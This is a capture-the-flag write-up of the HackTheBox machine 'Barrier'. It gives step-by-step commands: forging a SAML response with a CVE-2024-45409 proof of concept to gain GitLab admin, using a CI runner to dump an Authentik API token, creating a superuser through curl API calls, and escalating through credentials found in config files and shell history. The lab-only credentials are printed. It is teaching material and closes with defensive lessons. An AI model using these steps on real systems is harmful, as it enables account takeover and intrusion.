Barrier - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Barrier is a medium difficulty machine featuring multiple authentication and infrastructure services. Initial access is obtained through exposed credentials in a public Git repository, which are then leveraged to exploit a SAML authentication bypass (CVE-2024-45409) in GitLab. By manipulating SAML tokens, administrative access to GitLab is gained, enabling abuse of a CI/CD runner to extract the Authentik API token from environment variables. The token grants unauthorized API access to create a superuser account, allowing administrative control over the identity platform. From the admin panel, user impersonation provides access to Apache Guacamole, which contains a preconfigured remote desktop connection. Finally, MySQL credentials from Guacamole configuration files reveal an SSH private key, enabling privilege escalation through exposed credentials in shell history.

TL;DR: Exposed credentials → SAML bypass → GitLab admin → CI/CD exploitation → Authentik API abuse → User impersonation → Guacamole access → SSH key extraction → Root via shell history.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.129.234.46

Results:

PORT        STATE SERVICE
22/tcp      open   ssh
80/tcp      open   http
443/tcp     open   https
8080/tcp    open   http-proxy
9000/tcp    open   cslistener
9443/tcp    open   tungsten-https

Key services identified:

• SSH on port 22
• HTTP redirect on port 80 (redirects to https://gitlab.barrier.vl)
• GitLab on port 443 (HTTPS)
• Apache Tomcat on port 8080
• Authentik (identity provider) on port 9443
• Additional service listener on port 9000

The SSL certificate reveals the hostname gitlab.barrier.vl, which should be added to /etc/hosts.

echo "10.129.234.46 gitlab.barrier.vl barrier.vl" | sudo tee -a /etc/hosts

Service Enumeration

GitLab (Port 443)

Visiting the GitLab instance reveals a publicly accessible repository named gitconnect owned by user satoru. The repository contains a Python script that authenticates to GitLab and retrieves repository information.

Examining the commit history of the script reveals hardcoded credentials for the user satoru in a previous commit:

• Username: satoru
• Password: dGJ2V72SUEMsM3Ca

These credentials successfully authenticate to GitLab. However, the satoru account has limited privileges. Enumerating repository members reveals the existence of another user: akadmin.

Apache Tomcat (Port 8080)

Directory fuzzing of the Tomcat instance reveals two endpoints:

ffuf -u http://barrier.vl:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -ic

• /manager — requires authentication
• /guacamole — redirects to Authentik on port 9443

Authentik (Port 9443)

Authentik is an identity provider and SSO service. The /guacamole endpoint redirect triggers authentication through Authentik. Using the satoru credentials successfully authenticates to Authentik. The dashboard shows two integrated applications:

• GitLab
• Guacamole (Apache Guacamole — a remote desktop gateway)

Vulnerability Assessment

CVE-2024-45409 (GitLab SAML Authentication Bypass)

GitLab version 17.3.2 (confirmed via /help endpoint) is vulnerable to a SAML authentication bypass. This vulnerability allows:

• Any signed SAML document issued by an Identity Provider (Authentik) can be forged
• Attackers can create a modified SAML Response to impersonate any user on GitLab
• No signature validation is properly enforced on the NameID field

Exposed Credentials in Public Repository

The satoru user’s credentials are exposed in the Git commit history of a publicly accessible repository.

CI/CD Runner Exploitation

An unprivileged CI/CD runner is configured with Docker executor and inherited environment variables, including the Authentik API token.

API Misconfiguration

The Authentik API grants extensive privileges without proper authorization checks, allowing:

• User creation
• Password modification
• Group membership assignment
• User impersonation

Initial Foothold

Phase 1: Extracting and Modifying SAML Token

Using BurpSuite, we intercept the SSO authentication flow when clicking the GitLab application from the Authentik dashboard while logged in as satoru.

The HTTP request contains a SAMLResponse parameter. This value is:

1. URL decoded
2. Base64 decoded
3. Inflated (zlib decompression)

This results in a readable XML SAML assertion. The decoded SAML response is saved to saml.xml.

Using CyberChef with the following recipe (URL Decode → Base64 Decode → Raw Inflate), the XML becomes visible:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
  <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ...>
    <saml:Subject>
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">satoru</saml:NameID>
      ...
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

Phase 2: Forging SAML Response for Administrator Access

A public POC script (CVE-2024-45409) is used to modify the SAML response and change the NameID from satoru to akadmin:

python3 CVE-2024-45409.py -r saml.xml -n akadmin -e -o response.xml

Output:

[+] Parse response
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response.xml

The script outputs a new base64-encoded SAML response in response.xml.

Phase 3: Injecting Modified SAML into Authentication Flow

In BurpSuite Repeater, the original SAMLResponse parameter is replaced with the new forged value from response.xml. The request is sent, and the response contains two Set-Cookie headers with valid session cookies for the akadmin user.

These cookies are manually extracted and injected into the browser. Upon refreshing the GitLab page, the user is authenticated as akadmin with full administrative privileges.

Phase 4: Exploiting CI/CD Runners

From the GitLab Admin Panel, the CI/CD Runners section reveals an existing paused runner tagged auto_5e7f with Docker executor support.

The runner is resumed. A new GitLab project named test is created, and a .gitlab-ci.yml pipeline configuration file is uploaded:

image:
  name: redis:alpine
  pull_policy: if-not-present

stages:
  - build

job_build:
  stage: build
  script:
    - env
  tags:
    - auto_5e7f

When the pipeline executes, the runner spawns a new Docker container from redis:alpine. The container inherits environment variables from the host environment, including the Authentik API token.

The env command outputs all environment variables, revealing:

AUTHENTIK_TOKEN=MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc

Phase 5: Exploiting Authentik API with Bearer Token

Using the extracted token, the Authentik API is queried to enumerate users:

curl -L 'http://barrier.vl:9000/api/v3/core/users/' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' | jq

The API reveals all existing users including the superuser akadmin. A new superuser is created:

curl -L 'http://barrier.vl:9000/api/v3/core/users/' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' \
  -d '{"username": "superadmin", "name": "superadmin"}' | jq

The response includes the new user’s pk (primary key): 36.

A password is set for the new superuser:

curl -L 'http://barrier.vl:9000/api/v3/core/users/36/set_password/' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' \
  -d '{"password": "Pa$$word123!"}'

The user is added to the authentik Admins group (UUID: a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8):

curl -L 'http://barrier.vl:9000/api/v3/core/groups/a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8/add_user/' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc' \
  -d '{"pk": 36}'

The superadmin account now has is_superuser: true and can access the Authentik admin interface.

Phase 6: User Impersonation and Guacamole Access

Logging into Authentik at https://barrier.vl:9443 with superadmin credentials grants access to the Admin Interface. The Directory > Users section reveals all users, including maki.

The impersonation feature allows assuming the identity of any user. Impersonating maki provides access to Guacamole through the applications dashboard. Within Guacamole, a preconfigured “Maintenance” remote desktop connection exists for the maki user, providing shell access to the underlying host.

The user flag is located in /home/maki/user.txt.

Privilege Escalation

Phase 1: Extracting MySQL Credentials from Guacamole Configuration

From the Guacamole terminal session as maki, the configuration files are examined:

maki@barrier:/etc/guacamole$ ls -la
drwxr-xr-x 4 root root 4096 Dec 26 2024 .
drwxr-xr-x 111 root root 4096 Feb 2 11:08 ..
drwxr-xr-x 2 root root 4096 Dec 22 2024 extensions
-rw-r--r-- 1 root root 703 Dec 26 2024 guacamole.properties
drwxr-xr-x 2 root root 4096 Dec 22 2024 lib

The guacamole.properties file contains plaintext MySQL credentials:

maki@barrier:/etc/guacamole$ cat guacamole.properties
# MySQL properties
mysql-hostname: 127.0.0.1
mysql-port: 3306
mysql-database: guac_db
mysql-username: guac_user
mysql-password: guac2024

Phase 2: Querying Guacamole Database for SSH Credentials

Connecting to the Guacamole database:

maki@barrier:/etc/guacamole$ mysql -u guac_user -pguac2024 guac_db

The database schema is enumerated to identify relevant tables:

MariaDB [guac_db]> show tables;
+---------------------------------------+
| Tables_in_guac_db                     |
+---------------------------------------+
| guacamole_connection                  |
| guacamole_connection_parameter        |
| guacamole_user                        |
| ...                                   |
+---------------------------------------+

The guacamole_connection_parameter table contains connection details including SSH credentials:

MariaDB [guac_db]> select * from guacamole_connection_parameter;

The results reveal SSH connection parameters for user maki_adm:

connection_id: 2
parameter_name: username
parameter_value: maki_adm

parameter_name: port
parameter_value: 22

parameter_name: private-key
parameter_value: -----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----

parameter_name: passphrase
parameter_value: 3V32FN6oViMPxyzC

Phase 3: SSH Access with Extracted Private Key

The private key is saved locally as maki_adm and appropriate permissions are set:

chmod 600 maki_adm

SSH access is established using the private key and passphrase:

ssh -i maki_adm maki_adm@barrier.vl -oHostKeyAlgorithms=+ssh-rsa
Enter passphrase for key 'maki_adm': 3V32FN6oViMPxyzC

Successful login is confirmed:

Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-168-generic x86_64)
maki_adm@barrier:~$

Phase 4: Privilege Escalation via Shell History

The .bash_history file in the maki_adm home directory is examined:

maki_adm@barrier:~$ cat .bash_history
sudo su
Va4kSjgTHSd55ZLv

The file reveals:

1. Previous execution of sudo su
2. The password used: Va4kSjgTHSd55ZLv

The password is used to escalate to root:

maki_adm@barrier:~$ sudo -i
[sudo] password for maki_adm: Va4kSjgTHSd55ZLv
root@barrier:~#

The root flag is located at /root/root.txt.

Attack Chain Summary

Exposed satoru credentials in Git history
           ↓
Authenticate to GitLab as satoru
           ↓
Intercept SAML authentication flow with BurpSuite
           ↓
Extract and decode SAML response (XML)
           ↓
Forge SAML response using CVE-2024-45409 POC (change NameID to akadmin)
           ↓
Inject modified SAML response into authentication flow
           ↓
Authenticate as akadmin (GitLab admin)
           ↓
Resume CI/CD runner and create pipeline job
           ↓
Execute env command in Docker container
           ↓
Extract Authentik API token from environment variables
           ↓
Create superuser account via Authentik API
           ↓
Add superuser to Authentik admins group via API
           ↓
Login to Authentik admin panel
           ↓
Impersonate maki user
           ↓
Access Guacamole and launch Maintenance connection
           ↓
Retrieve MySQL credentials from Guacamole configuration
           ↓
Query Guacamole database for SSH private key and passphrase
           ↓
SSH as maki_adm using extracted private key
           ↓
Find root password in .bash_history
           ↓
Escalate to root via sudo

Tools Used

Key Learnings

Techniques Practiced

• SAML Authentication Bypass: Understanding XML-based SAML assertions and exploiting signature validation weaknesses (CVE-2024-45409)
• API Authorization Abuse: Leveraging stolen bearer tokens to escalate privileges and modify user permissions
• CI/CD Pipeline Exploitation: Using runners to execute arbitrary code and extract sensitive environment variables
• Database Credential Extraction: Querying application databases for stored credentials and SSH keys
• Multi-Service Privilege Chain: Chaining vulnerabilities across GitLab → Authentik → Guacamole → Host system
• Configuration File Reconnaissance: Identifying sensitive information in plaintext configuration files
• Shell History Forensics: Detecting exposed credentials in bash history files

Lessons Learned

1. Exposed VCS Credentials: Always sanitize repository commit history and use secret scanning tools; credentials committed to public repositories persist indefinitely.

2. SAML Implementation Flaws: SAML frameworks require careful cryptographic validation; improper implementation of signature verification can lead to complete authentication bypass.

3. API Token Management: Bearer tokens extracted from environment variables should be treated as secrets; tokens with broad permissions enable lateral movement.

4. Defense-in-Depth Failures: The machine demonstrates a complete breakdown of security controls—each service assumed previous systems had validated the user, allowing a single entry point to compromise the entire infrastructure.

5. Plaintext Credentials in Config Files: Application configuration files often contain database credentials; access to a low-privileged user account can reveal paths to higher-privileged accounts.

6. Shell History Exposure: .bash_history is a frequently overlooked source of credentials; sensitive commands should never be typed in interactive shells where they are logged.

7. Database Access as Privilege Escalation: Guacamole’s database contained SSH private keys for users with higher system privileges; database access should be compartmentalized from infrastructure credentials.

8. User Impersonation in SSO Systems: Identity providers with impersonation features should require strict audit logging and approval workflows; administrative impersonation capabilities are high-risk.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>